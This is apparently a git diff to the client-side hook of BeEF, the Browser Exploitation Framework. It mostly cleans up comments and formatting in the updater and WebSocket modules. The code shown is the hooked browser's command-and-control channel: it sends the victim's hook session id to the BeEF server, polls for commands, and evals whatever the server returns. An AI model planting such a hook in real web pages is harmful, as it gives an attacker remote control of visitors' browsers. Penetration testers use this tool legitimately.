diff --git a/core/main/client/updater.js b/core/main/client/updater.js index 5af863d0f..912e64b16 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -8,12 +8,12 @@ * @Literal object: beef.updater * * Object in charge of getting new commands from the BeEF framework and execute them. + * The XHR-polling channel is managed here. If WebSockets are enabled, + * websocket.ls is used instead. */ beef.updater = { - // Low timeouts combined with the way the framework sends commamd modules result - // in instructions being sent repeatedly or complex code. - // If you suffer from ADHD, you can decrease this setting. + // XHR-polling timeout. xhr_poll_timeout: "<%= @xhr_poll_timeout %>", // A lock. @@ -51,8 +51,10 @@ beef.updater = { setTimeout("beef.updater.check();", beef.updater.xhr_poll_timeout); }, - // Gets new commands from the framework. - get_commands: function(http_response) { + /** + * Gets new commands from the framework. + */ + get_commands: function() { try { this.lock = true; beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 5, 'script', function(response) { @@ -66,13 +68,12 @@ beef.updater = { this.lock = false; }, - // Executes the received commands if any. + /** + * Executes the received commands, if any. + */ execute_commands: function() { if(beef.commands.length == 0) return; - this.lock = true; - /*here execute the command */ - while(beef.commands.length > 0) { command = beef.commands.pop(); try { @@ -81,7 +82,6 @@ beef.updater = { console.error('execute_commands - command failed to execute: ' + e.message); } } - this.lock = false; } }; diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 74754db6f..796980990 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -5,72 +5,86 @@ // -//beef.websocket.socket.send(take answer to server beef) -/*New browser init call this */ +/** + * @Literal object: beef.websocket + * + * Manage the WebSocket communication channel. + * This channel is much faster and responsive, and it's used automatically + * if the browser supports WebSockets AND beef.http.websocket.enable = true. + */ beef.websocket = { socket:null, - ws_poll_timeout:<%= @ws_poll_timeout %>, + ws_poll_timeout: "<%= @ws_poll_timeout %>", + /** + * Initialize the WebSocket client object. + * Note: use WebSocketSecure only if the hooked domain is under https. + * Mixed-content in WS is quite different from a non-WS context. + */ init:function () { var webSocketServer = beef.net.host; - var webSocketPort = <%= @websocket_port %>; - var webSocketSecure = <%= @websocket_secure %>; + var webSocketPort = "<%= @websocket_port %>"; + var webSocketSecure = "<%= @websocket_secure %>"; var protocol = "ws://"; - //console.log("We are inside init"); - /*use wss only if hooked domain is under https. Mixed-content in WS is quite different from a non-WS context*/ + if(webSocketSecure && window.location.protocol=="https:"){ protocol = "wss://"; - webSocketPort= <%= @websocket_sec_port %>; + webSocketPort= "<%= @websocket_sec_port %>"; } - if (beef.browser.isFF() && !!window.MozWebSocket) { - beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); - - } else { - beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); + if (beef.browser.isFF() && !!window.MozWebSocket) { + beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); + }else{ + beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); } }, - /* send Helo message to the BeEF server and start async communication*/ + + /** + * Send Helo message to the BeEF server and start async polling. + */ start:function () { new beef.websocket.init(); this.socket.onopen = function () { - //console.log("Socket has been opened!"); - - /*send browser id*/ - beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}'); - //console.log("Connected and Helo"); + beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}'); beef.websocket.alive(); - } + }; + this.socket.onmessage = function (message) { - //console.log("Received message via WS."+ message.data); + //todo: double-check if there is a way to don't use eval here. It's not a big deal, + //todo: because the eval'ed data comes from BeEF itself, so is implicitly trusted. eval(message.data); - } + }; this.socket.onclose = function () { - setTimeout(function(){beef.websocket.start()}, 5000); - } - + setTimeout(function(){beef.websocket.start()}, 5000); + }; }, + /** + * Send data back to BeEF. This is basically the same as beef.net.send, + * but doesn't queue commands. + * Example usage: + * beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + + * '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) + + * '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }'); + */ send:function (data) { try { - this.socket.send(data); - //console.log("Sent [" + data + "]"); - } - catch(err){ - //console.log(err); - - } + this.socket.send(data); + }catch(err){} }, + /** + * Polling mechanism, to notify the BeEF server that the browser is still hooked, + * and the WebSocket channel still alive. + * todo: there is probably a more efficient way to do this. Double-check WebSocket API. + */ alive: function (){ beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}'); -// console.log("sent alive"); setTimeout("beef.websocket.alive()", beef.websocket.ws_poll_timeout); - } };